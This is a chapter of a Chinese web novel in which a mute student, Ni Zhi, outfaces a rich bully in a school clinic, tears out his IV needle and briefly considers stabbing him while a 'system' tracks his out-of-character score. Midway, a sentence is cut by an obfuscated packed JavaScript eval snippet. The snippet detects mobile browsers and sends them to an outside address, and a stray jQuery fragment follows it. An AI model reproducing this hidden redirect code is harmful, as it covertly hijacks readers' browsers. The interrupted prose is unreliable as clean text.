蠢人和坏人能沾沾自喜,那他这样只是不能说话的人,凭什么要自卑?
缺点利用得好,何尝不是一种优势?
系统疯狂示警,ooc值一路飙升,岌岌可危地攀升至被惩罚的边缘。
倪知暂时还没有受过惩罚,但也能猜到,作为系统的威胁手段,那一定会让人痛不欲生。
但……既然已经撕破脸了,又何必再玩什么装可怜来求取宽恕的戏码?
校医室过分冰冷的光线落在倪知面孔上,和窗外橙红色温暖的夕阳形成了分外鲜明的对比。
别在耳后的发丝如同流水,沸沸扬扬地落下,饱满的额角呈现出青瓷一样单薄光洁的质感,迎着被均分的光影,几近透明。
“不是我要去取得你的谅解。司一,是你要祈求,我不会真的走到鱼死网破那一步。”
倪知静静地看着司一,那眼神静得像是很深的泉水,冷且寂静,没有分毫的涟漪。
司一见到过很多被逼入绝境的眼神,恐惧、绝望、痛不欲生、孤注一掷……
却没有一个,比得过倪知这样的从容淡然。
就好像哪怕是死亡,也无法威胁他做任何不想做的事情,平静和疯狂一线之隔,鱼死网破对于他来说不是恐吓,而是随时可以动用的手段。
更可怕的是,他真的有这样的本事。
——网上的舆论影响不了豪门司家,却足以让有志于政坛的司一父亲止步于此。商场如战场,政坛却是货真价实的厮杀地,只要稍微露出一点破绽,那些竞争对手就会蜂拥而上,如食人鱼一样将人吞入腹中。
这是司一承受不了的代价。
因为一时冲动,破坏整个司家商转政的上升之路。
而倪知所要付出的,最多不过一条性命……
不,他甚至不会有任何危险,真到了那个地步,反而是司家会拼命保证他的生命安全,不给政敌任何的借口。
司一不可思议地看着倪知。
这个小哑巴,之前是故意示弱!
那些集中在一天发生的霸凌,看起来惊心动魄,被发到网上,能够最大激发观众的同情。
等他拿到了想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14957810|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要的监控视频后,就立刻不再伪装,甚至攒够了资本可以平起平坐地同自己谈判。
司一嗓子有些发哑:“你是故意的?”
“故意什么?”倪知的回答,却有些漫不经心,“故意算计你?”
还是这么以自我为中心,以为全世界都是围着他们这些大少爷转。
耽误时间。
倪知闭上眼睛,不欲再同司一交流。
他这样无视的态度,却反倒激起了司一情绪的反扑:“你是不是真以为,自己能威胁到我?”
手腕被人拽住,拉扯间,手背上扎着的针头似乎移了位,带来隐约的疼痛。
倪知睫毛颤了颤,慢慢地睁开眼睛。
司一离他很近,单手紧紧握着他的手腕,手背上粗大的血管因为发力而凸起,如同勃然炽热的藤蔓,攀附着蜿蜒,宽大的手掌几乎将整条手腕都包裹进去,腕上红色的印痕鲜明冶丽,在苍白的肌肤上艳得触目惊心。
对比太过分明,倪知孱弱到像是将被撕裂。
校医下意识想要开口,却见倪知皱了一下眉。
没有一点畏惧,满满全是不耐烦。
而后反手,扯下了手背上的针头。
这一下简单粗暴,快到让人来不及阻止。
校医惊呼一声,针头已经甩落在地,赤红的鲜血沿着雪白的肌肤滚落,似是大雪中的玫瑰,美艳而不祥。
一颗血珠被甩到了司一的侧脸,那样滚烫,让他几乎下意识地松开了手。
脱离了司一的禁锢,倪知站起身来,取过一旁外套随意披上,而后用仍在流血的手,打出一行字来。
“别把自己想得太重要了。”
他以为他是谁?
不就是所谓高高在上的F4、校园文的主角攻。
四个人的主角栏也配算是主角吗?
倪知原本想好好休息,被司一几次三番打扰,气压低到了极点,冷冷扫了司一一眼,狭长绮丽的凤眸似是冷海里漂浮的碎冰,锋利凉薄得令人不寒而栗。
系统在脑中尖叫着几乎破音,似是惊恐地警告,又似是叫嚣着他不必再隐藏本性。
——马上就要超过60%的ooc值了。
如果被惩罚,他能不能在失去行动能力之前,带着司一一起下地狱?
倪知视线落在地上的针头上。
针尖染血,却依旧尖利,能够很轻松地划开肌肤。
系统不知道察觉到什么,猛地一静。
而后原本已经抵达60%的ooc值,居然缓缓退回了59%。
?
怕他会真的不顾一切,干掉司一?
原来这个系统,真的这么欺软怕硬。
如果不是情况不对,倪知差点笑了出来。
他收回视线,不再看司一一眼,只对着好像被吓到了的校医道了个歉:“抱歉,方医生,我要先回去了。”
校医看着他淌血的手和冷静的眼,难得有点结结巴巴:“你……不要包扎一下吗?”
“不必了。”倪知淡淡地打字,“我不想待在这里。”
校医不由自主地听话让出位置,倪知刚把门推开,手臂却被人拉住。
但只是一下,下一刻,那只拉他的手就立刻收了回去。
身后,司一不敢触碰倪知,眼睛死死地盯着倪知淌血的手背,觉得那灼烈的红几乎烧伤了他的眼睛。
他输了。
这个小哑巴太狠了,不只是对他,连对自己也一样狠。
眼眶有些发烫,司一听到自己的声音,明明被粉丝媒体称作天籁之声,现在却哑然失色。
“我会道歉。”他说,“我的条件……不……不是条件!”
司一艰难地改口:“你可不可以包扎一下再走?”